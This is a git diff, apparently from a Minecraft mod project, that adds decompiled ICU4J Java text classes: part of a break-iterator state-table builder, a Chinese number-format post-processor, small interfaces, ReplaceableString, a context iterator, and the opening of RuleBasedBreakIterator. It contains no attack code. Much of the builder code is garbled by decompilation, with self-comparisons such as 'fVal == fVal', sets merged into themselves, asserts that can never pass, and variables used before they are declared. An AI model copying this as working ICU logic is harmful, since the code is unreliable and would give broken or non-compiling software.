+    
+
+
+
+
+
+
+    if (fRB.fSetBuilder.sawBOF()) {
+      RBBINode bofTop = new RBBINode(8);
+      RBBINode bofLeaf = new RBBINode(3);
+      fLeftChild = bofLeaf;
+      fRightChild = fRB.fTreeRoots[fRootIx];
+      fParent = bofTop;
+      fVal = 2;
+      fRB.fTreeRoots[fRootIx] = bofTop;
+    }
+    
+
+
+
+
+
+    RBBINode cn = new RBBINode(8);
+    fLeftChild = fRB.fTreeRoots[fRootIx];
+    fRB.fTreeRoots[fRootIx].fParent = cn;
+    fRightChild = new RBBINode(6);
+    fRightChild.fParent = cn;
+    fRB.fTreeRoots[fRootIx] = cn;
+    
+
+
+
+
+    fRB.fTreeRoots[fRootIx].flattenSets();
+    if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("stree") >= 0)) {
+      System.out.println("Parse tree after flattening Unicode Set references.");
+      fRB.fTreeRoots[fRootIx].printTree(true);
+    }
+    
+
+
+
+
+
+
+
+
+    calcNullable(fRB.fTreeRoots[fRootIx]);
+    calcFirstPos(fRB.fTreeRoots[fRootIx]);
+    calcLastPos(fRB.fTreeRoots[fRootIx]);
+    calcFollowPos(fRB.fTreeRoots[fRootIx]);
+    if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("pos") >= 0)) {
+      System.out.print("\n");
+      printPosSets(fRB.fTreeRoots[fRootIx]);
+    }
+    
+
+
+
+    if (fRB.fChainRules) {
+      calcChainedFollowPos(fRB.fTreeRoots[fRootIx]);
+    }
+    
+
+
+
+    if (fRB.fSetBuilder.sawBOF()) {
+      bofFixup();
+    }
+    
+
+
+
+    buildStateTable();
+    flagAcceptingStates();
+    flagLookAheadStates();
+    flagTaggedStates();
+    
+
+
+
+
+
+    mergeRuleStatusVals();
+    
+    if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("states") >= 0)) { printStates();
+    }
+  }
+  
+
+
+
+
+
+  void calcNullable(RBBINode n)
+  {
+    if (n == null) {
+      return;
+    }
+    if ((fType == 0) || (fType == 6))
+    {
+
+      fNullable = false;
+      return;
+    }
+    
+    if ((fType == 4) || (fType == 5))
+    {
+
+      fNullable = true;
+      return;
+    }
+    
+
+
+
+    calcNullable(fLeftChild);
+    calcNullable(fRightChild);
+    
+
+    if (fType == 9) {
+      fNullable = ((fLeftChild.fNullable) || (fRightChild.fNullable));
+    }
+    else if (fType == 8) {
+      fNullable = ((fLeftChild.fNullable) && (fRightChild.fNullable));
+    }
+    else if ((fType == 10) || (fType == 12)) {
+      fNullable = true;
+    }
+    else {
+      fNullable = false;
+    }
+  }
+  
+
+
+
+
+
+
+
+  void calcFirstPos(RBBINode n)
+  {
+    if (n == null) {
+      return;
+    }
+    if ((fType == 3) || (fType == 6) || (fType == 4) || (fType == 5))
+    {
+
+
+
+      fFirstPosSet.add(n);
+      return;
+    }
+    
+
+
+    calcFirstPos(fLeftChild);
+    calcFirstPos(fRightChild);
+    
+
+    if (fType == 9) {
+      fFirstPosSet.addAll(fLeftChild.fFirstPosSet);
+      fFirstPosSet.addAll(fRightChild.fFirstPosSet);
+    }
+    else if (fType == 8) {
+      fFirstPosSet.addAll(fLeftChild.fFirstPosSet);
+      if (fLeftChild.fNullable) {
+        fFirstPosSet.addAll(fRightChild.fFirstPosSet);
+      }
+    }
+    else if ((fType == 10) || (fType == 12) || (fType == 11))
+    {
+
+      fFirstPosSet.addAll(fLeftChild.fFirstPosSet);
+    }
+  }
+  
+
+
+
+
+
+
+  void calcLastPos(RBBINode n)
+  {
+    if (n == null) {
+      return;
+    }
+    if ((fType == 3) || (fType == 6) || (fType == 4) || (fType == 5))
+    {
+
+
+
+      fLastPosSet.add(n);
+      return;
+    }
+    
+
+
+    calcLastPos(fLeftChild);
+    calcLastPos(fRightChild);
+    
+
+    if (fType == 9) {
+      fLastPosSet.addAll(fLeftChild.fLastPosSet);
+      fLastPosSet.addAll(fRightChild.fLastPosSet);
+    }
+    else if (fType == 8) {
+      fLastPosSet.addAll(fRightChild.fLastPosSet);
+      if (fRightChild.fNullable) {
+        fLastPosSet.addAll(fLeftChild.fLastPosSet);
+      }
+    }
+    else if ((fType == 10) || (fType == 12) || (fType == 11))
+    {
+
+      fLastPosSet.addAll(fLeftChild.fLastPosSet);
+    }
+  }
+  
+
+
+
+
+
+
+  void calcFollowPos(RBBINode n)
+  {
+    if ((n == null) || (fType == 3) || (fType == 6))
+    {
+
+      return;
+    }
+    
+    calcFollowPos(fLeftChild);
+    calcFollowPos(fRightChild);
+    
+
+    if (fType == 8) {
+      for (RBBINode i : fLeftChild.fLastPosSet) {
+        fFollowPos.addAll(fRightChild.fFirstPosSet);
+      }
+    }
+    
+
+    if ((fType == 10) || (fType == 11))
+    {
+      for (RBBINode i : fLastPosSet) {
+        fFollowPos.addAll(fFirstPosSet);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  void calcChainedFollowPos(RBBINode tree)
+  {
+    List<RBBINode> endMarkerNodes = new ArrayList();
+    List<RBBINode> leafNodes = new ArrayList();
+    
+
+    tree.findNodes(endMarkerNodes, 6);
+    
+
+    tree.findNodes(leafNodes, 3);
+    
+
+
+
+    RBBINode userRuleRoot = tree;
+    if (fRB.fSetBuilder.sawBOF()) {
+      userRuleRoot = fLeftChild.fRightChild;
+    }
+    Assert.assrt(userRuleRoot != null);
+    Set<RBBINode> matchStartNodes = fFirstPosSet;
+    
+
+
+    for (RBBINode tNode : leafNodes) {
+      endNode = null;
+      
+
+
+      for (RBBINode endMarkerNode : endMarkerNodes) {
+        if (fFollowPos.contains(endMarkerNode)) {
+          endNode = tNode;
+          break;
+        }
+      }
+      if (endNode != null)
+      {
+
+
+
+
+
+
+
+
+
+        if (fRB.fLBCMNoChain) {
+          int c = fRB.fSetBuilder.getFirstChar(fVal);
+          if (c != -1)
+          {
+            int cLBProp = UCharacter.getIntPropertyValue(c, 4104);
+            if (cLBProp == 9) {
+              continue;
+            }
+          }
+        }
+        
+
+
+
+        for (RBBINode startNode : matchStartNodes) {
+          if (fType == 3)
+          {
+
+
+            if (fVal == fVal)
+            {
+
+
+
+
+
+
+              fFollowPos.addAll(fFollowPos);
+            }
+          }
+        }
+      }
+    }
+    
+
+
+
+
+
+
+
+
+    RBBINode endNode;
+  }
+  
+
+
+
+
+
+
+
+
+
+  void bofFixup()
+  {
+    RBBINode bofNode = fRB.fTreeRoots[fRootIx].fLeftChild.fLeftChild;
+    Assert.assrt(fType == 3);
+    Assert.assrt(fVal == 2);
+    
+
+
+
+
+
+    Set<RBBINode> matchStartNodes = fRB.fTreeRoots[fRootIx].fLeftChild.fRightChild.fFirstPosSet;
+    for (RBBINode startNode : matchStartNodes) {
+      if (fType == 3)
+      {
+
+
+        if (fVal == fVal)
+        {
+
+
+
+
+          fFollowPos.addAll(fFollowPos);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  void buildStateTable()
+  {
+    int lastInputSymbol = fRB.fSetBuilder.getNumCharCategories() - 1;
+    RBBIStateDescriptor failState = new RBBIStateDescriptor(lastInputSymbol);
+    fDStates.add(failState);
+    
+
+
+    RBBIStateDescriptor initialState = new RBBIStateDescriptor(lastInputSymbol);
+    fPositions.addAll(fRB.fTreeRoots[fRootIx].fFirstPosSet);
+    fDStates.add(initialState);
+    
+    for (;;)
+    {
+      RBBIStateDescriptor T = null;
+      
+      for (int tx = 1; tx < fDStates.size(); tx++) {
+        RBBIStateDescriptor temp = (RBBIStateDescriptor)fDStates.get(tx);
+        if (!fMarked) {
+          T = temp;
+          break;
+        }
+      }
+      if (T == null) {
+        break;
+      }
+      
+
+      fMarked = true;
+      
+
+
+      for (int a = 1; a <= lastInputSymbol; a++)
+      {
+
+
+        Set<RBBINode> U = null;
+        for (RBBINode p : fPositions) {
+          if ((fType == 3) && (fVal == a)) {
+            if (U == null) {
+              U = new HashSet();
+            }
+            U.addAll(fFollowPos);
+          }
+        }
+        
+
+        int ux = 0;
+        boolean UinDstates = false;
+        if (U != null) {
+          Assert.assrt(U.size() > 0);
+          
+          for (int ix = 0; ix < fDStates.size(); ix++)
+          {
+            RBBIStateDescriptor temp2 = (RBBIStateDescriptor)fDStates.get(ix);
+            if (U.equals(fPositions)) {
+              U = fPositions;
+              ux = ix;
+              UinDstates = true;
+              break;
+            }
+          }
+          
+
+          if (!UinDstates)
+          {
+            RBBIStateDescriptor newState = new RBBIStateDescriptor(lastInputSymbol);
+            fPositions = U;
+            fDStates.add(newState);
+            ux = fDStates.size() - 1;
+          }
+          
+
+          fDtran[a] = ux;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  void flagAcceptingStates()
+  {
+    List<RBBINode> endMarkerNodes = new ArrayList();
+    
+
+
+
+    fRB.fTreeRoots[fRootIx].findNodes(endMarkerNodes, 6);
+    
+    for (int i = 0; i < endMarkerNodes.size(); i++) {
+      RBBINode endMarker = (RBBINode)endMarkerNodes.get(i);
+      for (int n = 0; n < fDStates.size(); n++) {
+        RBBIStateDescriptor sd = (RBBIStateDescriptor)fDStates.get(n);
+        
+        if (fPositions.contains(endMarker))
+        {
+
+
+
+          if (fAccepting == 0)
+          {
+            fAccepting = fVal;
+            if (fAccepting == 0) {
+              fAccepting = -1;
+            }
+          }
+          if ((fAccepting == -1) && (fVal != 0))
+          {
+
+
+            fAccepting = fVal;
+          }
+          
+
+
+
+
+          if (fLookAheadEnd)
+          {
+
+
+            fLookAhead = fAccepting;
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+  void flagLookAheadStates()
+  {
+    List<RBBINode> lookAheadNodes = new ArrayList();
+    
+
+
+
+    fRB.fTreeRoots[fRootIx].findNodes(lookAheadNodes, 4);
+    for (int i = 0; i < lookAheadNodes.size(); i++) {
+      RBBINode lookAheadNode = (RBBINode)lookAheadNodes.get(i);
+      
+      for (int n = 0; n < fDStates.size(); n++) {
+        RBBIStateDescriptor sd = (RBBIStateDescriptor)fDStates.get(n);
+        if (fPositions.contains(lookAheadNode)) {
+          fLookAhead = fVal;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  void flagTaggedStates()
+  {
+    List<RBBINode> tagNodes = new ArrayList();
+    
+
+
+
+    fRB.fTreeRoots[fRootIx].findNodes(tagNodes, 5);
+    for (int i = 0; i < tagNodes.size(); i++) {
+      RBBINode tagNode = (RBBINode)tagNodes.get(i);
+      
+      for (int n = 0; n < fDStates.size(); n++) {
+        RBBIStateDescriptor sd = (RBBIStateDescriptor)fDStates.get(n);
+        if (fPositions.contains(tagNode)) {
+          fTagVals.add(Integer.valueOf(fVal));
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  void mergeRuleStatusVals()
+  {
+    if (fRB.fRuleStatusVals.size() == 0) {
+      fRB.fRuleStatusVals.add(Integer.valueOf(1));
+      fRB.fRuleStatusVals.add(Integer.valueOf(0));
+      
+      SortedSet<Integer> s0 = new TreeSet();
+      Integer izero = Integer.valueOf(0);
+      fRB.fStatusSets.put(s0, izero);
+      SortedSet<Integer> s1 = new TreeSet();
+      s1.add(izero);
+      fRB.fStatusSets.put(s0, izero);
+    }
+    
+
+
+    for (int n = 0; n < fDStates.size(); n++) {
+      RBBIStateDescriptor sd = (RBBIStateDescriptor)fDStates.get(n);
+      Set<Integer> statusVals = fTagVals;
+      Integer arrayIndexI = (Integer)fRB.fStatusSets.get(statusVals);
+      if (arrayIndexI == null)
+      {
+
+
+
+        arrayIndexI = Integer.valueOf(fRB.fRuleStatusVals.size());
+        fRB.fStatusSets.put(statusVals, arrayIndexI);
+        
+
+
+        fRB.fRuleStatusVals.add(Integer.valueOf(statusVals.size()));
+        fRB.fRuleStatusVals.addAll(statusVals);
+      }
+      
+
+      fTagsIdx = arrayIndexI.intValue();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  void printPosSets(RBBINode n)
+  {
+    if (n == null) {
+      return;
+    }
+    RBBINode.printNode(n);
+    System.out.print("         Nullable:  " + fNullable);
+    
+    System.out.print("         firstpos:  ");
+    printSet(fFirstPosSet);
+    
+    System.out.print("         lastpos:   ");
+    printSet(fLastPosSet);
+    
+    System.out.print("         followpos: ");
+    printSet(fFollowPos);
+    
+    printPosSets(fLeftChild);
+    printPosSets(fRightChild);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  int getTableSize()
+  {
+    int size = 0;
+    
+
+
+
+    if (fRB.fTreeRoots[fRootIx] == null) {
+      return 0;
+    }
+    
+    size = 16;
+    
+    int numRows = fDStates.size();
+    int numCols = fRB.fSetBuilder.getNumCharCategories();
+    
+
+
+
+
+    int rowSize = 8 + 2 * numCols;
+    size += numRows * rowSize;
+    while (size % 8 > 0) {
+      size++;
+    }
+    
+    return size;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  short[] exportTable()
+  {
+    if (fRB.fTreeRoots[fRootIx] == null) {
+      return new short[0];
+    }
+    
+    Assert.assrt((fRB.fSetBuilder.getNumCharCategories() < 32767) && (fDStates.size() < 32767));
+    
+
+    int numStates = fDStates.size();
+    
+
+
+    int rowLen = 4 + fRB.fSetBuilder.getNumCharCategories();
+    int tableSize = getTableSize() / 2;
+    
+
+    short[] table = new short[tableSize];
+    
+
+
+
+
+
+    table[0] = ((short)(numStates >>> 16));
+    table[1] = ((short)(numStates & 0xFFFF));
+    
+
+    table[2] = ((short)(rowLen >>> 16));
+    table[3] = ((short)(rowLen & 0xFFFF));
+    
+
+    int flags = 0;
+    if (fRB.fLookAheadHardBreak) {
+      flags |= 0x1;
+    }
+    if (fRB.fSetBuilder.sawBOF()) {
+      flags |= 0x2;
+    }
+    table[4] = ((short)(flags >>> 16));
+    table[5] = ((short)(flags & 0xFFFF));
+    
+    int numCharCategories = fRB.fSetBuilder.getNumCharCategories();
+    for (int state = 0; state < numStates; state++) {
+      RBBIStateDescriptor sd = (RBBIStateDescriptor)fDStates.get(state);
+      int row = 8 + state * rowLen;
+      Assert.assrt((32768 < fAccepting) && (fAccepting <= 32767));
+      Assert.assrt((32768 < fLookAhead) && (fLookAhead <= 32767));
+      table[(row + 0)] = ((short)fAccepting);
+      table[(row + 1)] = ((short)fLookAhead);
+      table[(row + 2)] = ((short)fTagsIdx);
+      for (int col = 0; col < numCharCategories; col++) {
+        table[(row + 4 + col)] = ((short)fDtran[col]);
+      }
+    }
+    return table;
+  }
+  
+
+
+
+
+
+
+
+  void printSet(Collection<RBBINode> s)
+  {
+    for (RBBINode n : s) {
+      RBBINode.printInt(fSerialNum, 8);
+    }
+    System.out.println();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  void printStates()
+  {
+    System.out.print("state |           i n p u t     s y m b o l s \n");
+    System.out.print("      | Acc  LA    Tag");
+    for (int c = 0; c < fRB.fSetBuilder.getNumCharCategories(); c++) {
+      RBBINode.printInt(c, 3);
+    }
+    System.out.print("\n");
+    System.out.print("      |---------------");
+    for (c = 0; c < fRB.fSetBuilder.getNumCharCategories(); c++) {
+      System.out.print("---");
+    }
+    System.out.print("\n");
+    
+    for (int n = 0; n < fDStates.size(); n++) {
+      RBBIStateDescriptor sd = (RBBIStateDescriptor)fDStates.get(n);
+      RBBINode.printInt(n, 5);
+      System.out.print(" | ");
+      
+      RBBINode.printInt(fAccepting, 3);
+      RBBINode.printInt(fLookAhead, 4);
+      RBBINode.printInt(fTagsIdx, 6);
+      System.out.print(" ");
+      for (c = 0; c < fRB.fSetBuilder.getNumCharCategories(); c++) {
+        RBBINode.printInt(fDtran[c], 3);
+      }
+      System.out.print("\n");
+    }
+    System.out.print("\n\n");
+  }
+  
+
+
+
+
+
+
+
+
+  void printRuleStatusTable()
+  {
+    int thisRecord = 0;
+    int nextRecord = 0;
+    
+    List<Integer> tbl = fRB.fRuleStatusVals;
+    
+    System.out.print("index |  tags \n");
+    System.out.print("-------------------\n");
+    
+    while (nextRecord < tbl.size()) {
+      thisRecord = nextRecord;
+      nextRecord = thisRecord + ((Integer)tbl.get(thisRecord)).intValue() + 1;
+      RBBINode.printInt(thisRecord, 7);
+      for (int i = thisRecord + 1; i < nextRecord; i++) {
+        int val = ((Integer)tbl.get(i)).intValue();
+        RBBINode.printInt(val, 7);
+      }
+      System.out.print("\n");
+    }
+    System.out.print("\n\n");
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/RBNFChinesePostProcessor.java b/src/minecraft/com/ibm/icu/text/RBNFChinesePostProcessor.java
new file mode 100644
index 0000000..c084b32
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RBNFChinesePostProcessor.java
@@ -0,0 +1,159 @@
+package com.ibm.icu.text;
+
+
+
+
+
+final class RBNFChinesePostProcessor
+  implements RBNFPostProcessor
+{
+  private boolean longForm;
+  
+
+
+  private int format;
+  
+
+
+  private static final String[] rulesetNames = { "%traditional", "%simplified", "%accounting", "%time" };
+  
+
+
+
+
+  RBNFChinesePostProcessor() {}
+  
+
+
+
+
+  public void init(RuleBasedNumberFormat formatter, String rules) {}
+  
+
+
+
+
+  public void process(StringBuffer buf, NFRuleSet ruleSet)
+  {
+    String name = ruleSet.getName();
+    for (int i = 0; i < rulesetNames.length; i++) {
+      if (rulesetNames[i].equals(name)) {
+        format = i;
+        longForm = ((i == 1) || (i == 3));
+        break;
+      }
+    }
+    
+
+    if (longForm) {
+      for (int i = buf.indexOf("*"); i != -1; i = buf.indexOf("*", i)) {
+        buf.delete(i, i + 1);
+      }
+      return;
+    }
+    
+    String DIAN = "點";
+    
+    String[][] markers = { { "萬", "億", "兆", "〇" }, { "万", "亿", "兆", "〇" }, { "萬", "億", "兆", "零" } };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    String[] m = markers[format];
+    for (int i = 0; i < m.length - 1; i++) {
+      int n = buf.indexOf(m[i]);
+      if (n != -1) {
+        buf.insert(n + m[i].length(), '|');
+      }
+    }
+    
+
+    int x = buf.indexOf("點");
+    if (x == -1) {
+      x = buf.length();
+    }
+    int s = 0;
+    int n = -1;
+    String ling = markers[format][3];
+    while (x >= 0) {
+      int m = buf.lastIndexOf("|", x);
+      int nn = buf.lastIndexOf(ling, x);
+      int ns = 0;
+      if (nn > m) {
+        ns = (nn > 0) && (buf.charAt(nn - 1) != '*') ? 2 : 1;
+      }
+      x = m - 1;
+      
+
+      switch (s * 3 + ns) {
+      case 0: 
+        s = ns;
+        n = -1;
+        break;
+      case 1: 
+        s = ns;
+        n = nn;
+        break;
+      case 2: 
+        s = ns;
+        n = -1;
+        break;
+      case 3: 
+        s = ns;
+        n = -1;
+        break;
+      case 4: 
+        buf.delete(nn - 1, nn + ling.length());
+        s = 0;
+        n = -1;
+        break;
+      case 5: 
+        buf.delete(n - 1, n + ling.length());
+        s = ns;
+        n = -1;
+        break;
+      case 6: 
+        s = ns;
+        n = -1;
+        break;
+      case 7: 
+        buf.delete(nn - 1, nn + ling.length());
+        s = 0;
+        n = -1;
+        break;
+      case 8: 
+        s = ns;
+        n = -1;
+        break;
+      default: 
+        throw new IllegalStateException();
+      }
+      
+    }
+    int i = buf.length(); for (;;) { i--; if (i < 0) break;
+      char c = buf.charAt(i);
+      if ((c == '*') || (c == '|')) {
+        buf.delete(i, i + 1);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/RBNFPostProcessor.java b/src/minecraft/com/ibm/icu/text/RBNFPostProcessor.java
new file mode 100644
index 0000000..26501fe
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RBNFPostProcessor.java
@@ -0,0 +1,8 @@
+package com.ibm.icu.text;
+
+abstract interface RBNFPostProcessor
+{
+  public abstract void init(RuleBasedNumberFormat paramRuleBasedNumberFormat, String paramString);
+  
+  public abstract void process(StringBuffer paramStringBuffer, NFRuleSet paramNFRuleSet);
+}
diff --git a/src/minecraft/com/ibm/icu/text/RbnfLenientScanner.java b/src/minecraft/com/ibm/icu/text/RbnfLenientScanner.java
new file mode 100644
index 0000000..3d3f150
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RbnfLenientScanner.java
@@ -0,0 +1,10 @@
+package com.ibm.icu.text;
+
+public abstract interface RbnfLenientScanner
+{
+  public abstract boolean allIgnorable(String paramString);
+  
+  public abstract int prefixLength(String paramString1, String paramString2);
+  
+  public abstract int[] findText(String paramString1, String paramString2, int paramInt);
+}
diff --git a/src/minecraft/com/ibm/icu/text/RbnfLenientScannerProvider.java b/src/minecraft/com/ibm/icu/text/RbnfLenientScannerProvider.java
new file mode 100644
index 0000000..9a20de9
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RbnfLenientScannerProvider.java
@@ -0,0 +1,8 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.util.ULocale;
+
+public abstract interface RbnfLenientScannerProvider
+{
+  public abstract RbnfLenientScanner get(ULocale paramULocale, String paramString);
+}
diff --git a/src/minecraft/com/ibm/icu/text/Replaceable.java b/src/minecraft/com/ibm/icu/text/Replaceable.java
new file mode 100644
index 0000000..ffb01da
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/Replaceable.java
@@ -0,0 +1,20 @@
+package com.ibm.icu.text;
+
+public abstract interface Replaceable
+{
+  public abstract int length();
+  
+  public abstract char charAt(int paramInt);
+  
+  public abstract int char32At(int paramInt);
+  
+  public abstract void getChars(int paramInt1, int paramInt2, char[] paramArrayOfChar, int paramInt3);
+  
+  public abstract void replace(int paramInt1, int paramInt2, String paramString);
+  
+  public abstract void replace(int paramInt1, int paramInt2, char[] paramArrayOfChar, int paramInt3, int paramInt4);
+  
+  public abstract void copy(int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract boolean hasMetaData();
+}
diff --git a/src/minecraft/com/ibm/icu/text/ReplaceableContextIterator.java b/src/minecraft/com/ibm/icu/text/ReplaceableContextIterator.java
new file mode 100644
index 0000000..b661eea
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/ReplaceableContextIterator.java
@@ -0,0 +1,190 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.UCaseProps.ContextIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class ReplaceableContextIterator
+  implements UCaseProps.ContextIterator
+{
+  protected Replaceable rep;
+  protected int index;
+  protected int limit;
+  protected int cpStart;
+  protected int cpLimit;
+  protected int contextStart;
+  protected int contextLimit;
+  protected int dir;
+  protected boolean reachedLimit;
+  
+  ReplaceableContextIterator()
+  {
+    rep = null;
+    limit = (this.cpStart = this.cpLimit = this.index = this.contextStart = this.contextLimit = 0);
+    dir = 0;
+    reachedLimit = false;
+  }
+  
+
+
+
+  public void setText(Replaceable rep)
+  {
+    this.rep = rep;
+    limit = (this.contextLimit = rep.length());
+    cpStart = (this.cpLimit = this.index = this.contextStart = 0);
+    dir = 0;
+    reachedLimit = false;
+  }
+  
+
+
+
+  public void setIndex(int index)
+  {
+    cpStart = (this.cpLimit = index);
+    this.index = 0;
+    dir = 0;
+    reachedLimit = false;
+  }
+  
+
+
+
+  public int getCaseMapCPStart()
+  {
+    return cpStart;
+  }
+  
+
+
+
+
+
+
+  public void setLimit(int lim)
+  {
+    if ((0 <= lim) && (lim <= rep.length())) {
+      limit = lim;
+    } else {
+      limit = rep.length();
+    }
+    reachedLimit = false;
+  }
+  
+
+
+
+
+  public void setContextLimits(int contextStart, int contextLimit)
+  {
+    if (contextStart < 0) {
+      this.contextStart = 0;
+    } else if (contextStart <= rep.length()) {
+      this.contextStart = contextStart;
+    } else {
+      this.contextStart = rep.length();
+    }
+    if (contextLimit < this.contextStart) {
+      this.contextLimit = this.contextStart;
+    } else if (contextLimit <= rep.length()) {
+      this.contextLimit = contextLimit;
+    } else {
+      this.contextLimit = rep.length();
+    }
+    reachedLimit = false;
+  }
+  
+
+
+
+
+
+
+  public int nextCaseMapCP()
+  {
+    if (cpLimit < limit) {
+      cpStart = cpLimit;
+      int c = rep.char32At(cpLimit);
+      cpLimit += UTF16.getCharCount(c);
+      return c;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  public int replace(String text)
+  {
+    int delta = text.length() - (cpLimit - cpStart);
+    rep.replace(cpStart, cpLimit, text);
+    cpLimit += delta;
+    limit += delta;
+    contextLimit += delta;
+    return delta;
+  }
+  
+
+
+
+  public boolean didReachLimit()
+  {
+    return reachedLimit;
+  }
+  
+  public void reset(int direction)
+  {
+    if (direction > 0)
+    {
+      dir = 1;
+      index = cpLimit;
+    } else if (direction < 0)
+    {
+      dir = -1;
+      index = cpStart;
+    }
+    else {
+      dir = 0;
+      index = 0;
+    }
+    reachedLimit = false;
+  }
+  
+
+  public int next()
+  {
+    if (dir > 0) {
+      if (index < contextLimit) {
+        int c = rep.char32At(index);
+        index += UTF16.getCharCount(c);
+        return c;
+      }
+      
+      reachedLimit = true;
+    }
+    else if ((dir < 0) && (index > contextStart)) {
+      int c = rep.char32At(index - 1);
+      index -= UTF16.getCharCount(c);
+      return c;
+    }
+    return -1;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/ReplaceableString.java b/src/minecraft/com/ibm/icu/text/ReplaceableString.java
new file mode 100644
index 0000000..3d1ab06
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/ReplaceableString.java
@@ -0,0 +1,197 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+
+
+public class ReplaceableString
+  implements Replaceable
+{
+  private StringBuffer buf;
+  
+
+
+
+
+
+
+
+
+
+
+
+  public ReplaceableString(String str)
+  {
+    buf = new StringBuffer(str);
+  }
+  
+
+
+
+
+
+
+
+
+  public ReplaceableString(StringBuffer buf)
+  {
+    this.buf = buf;
+  }
+  
+
+
+
+  public ReplaceableString()
+  {
+    buf = new StringBuffer();
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return buf.toString();
+  }
+  
+
+
+
+  public String substring(int start, int limit)
+  {
+    return buf.substring(start, limit);
+  }
+  
+
+
+
+
+  public int length()
+  {
+    return buf.length();
+  }
+  
+
+
+
+
+
+
+  public char charAt(int offset)
+  {
+    return buf.charAt(offset);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int char32At(int offset)
+  {
+    return UTF16.charAt(buf, offset);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void getChars(int srcStart, int srcLimit, char[] dst, int dstStart)
+  {
+    if (srcStart != srcLimit) {
+      buf.getChars(srcStart, srcLimit, dst, dstStart);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void replace(int start, int limit, String text)
+  {
+    buf.replace(start, limit, text);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void replace(int start, int limit, char[] chars, int charsStart, int charsLen)
+  {
+    buf.delete(start, limit);
+    buf.insert(start, chars, charsStart, charsLen);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void copy(int start, int limit, int dest)
+  {
+    if ((start == limit) && (start >= 0) && (start <= buf.length())) {
+      return;
+    }
+    char[] text = new char[limit - start];
+    getChars(start, limit, text, 0);
+    replace(dest, dest, text, 0, limit - start);
+  }
+  
+
+
+
+  public boolean hasMetaData()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/RuleBasedBreakIterator.java b/src/minecraft/com/ibm/icu/text/RuleBasedBreakIterator.java
new file mode 100644
index 0000000..a9a6dec
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RuleBasedBreakIterator.java
@@ -0,0 +1,1519 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Assert;
+import com.ibm.icu.impl.CharTrie;
+import com.ibm.icu.impl.CharacterIteration;
+import com.ibm.icu.impl.ICUDebug;
+import com.ibm.icu.lang.UCharacter;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.text.CharacterIterator;
+import java.text.StringCharacterIterator;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.Stack;
+
+
+
+
+
+public class RuleBasedBreakIterator
+  extends BreakIterator
+{
+  public static final int WORD_NONE = 0;
+  public static final int WORD_NONE_LIMIT = 100;
+  public static final int WORD_NUMBER = 100;
+  public static final int WORD_NUMBER_LIMIT = 200;
+  public static final int WORD_LETTER = 200;
+  public static final int WORD_LETTER_LIMIT = 300;
+  public static final int WORD_KANA = 300;
+  public static final int WORD_KANA_LIMIT = 400;
+  public static final int WORD_IDEO = 400;
+  public static final int WORD_IDEO_LIMIT = 500;
+  private static final int START_STATE = 1;
+  private static final int STOP_STATE = 0;
+  private static final int RBBI_START = 0;
+  private static final int RBBI_RUN = 1;
+  private static final int RBBI_END = 2;
+  
+  /**
+   * @deprecated
+   */
+  private RuleBasedBreakIterator()
+  {
+    fLastStatusIndexValid = true;
+    fDictionaryCharCount = 0;
+    fBreakEngines.add(fUnhandledBreakEngine);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static RuleBasedBreakIterator getInstanceFromCompiledRules(InputStream is)
+    throws IOException
+  {
+    RuleBasedBreakIterator This = new RuleBasedBreakIterator();
+    fRData = RBBIDataWrapper.get(is);
+    return This;
+  }
+  
+
+
+
+
+  public RuleBasedBreakIterator(String rules)
+  {
+    this();
+    try {
+      ByteArrayOutputStream ruleOS = new ByteArrayOutputStream();
+      compileRules(rules, ruleOS);
+      byte[] ruleBA = ruleOS.toByteArray();
+      InputStream ruleIS = new ByteArrayInputStream(ruleBA);
+      fRData = RBBIDataWrapper.get(ruleIS);
+
+    }
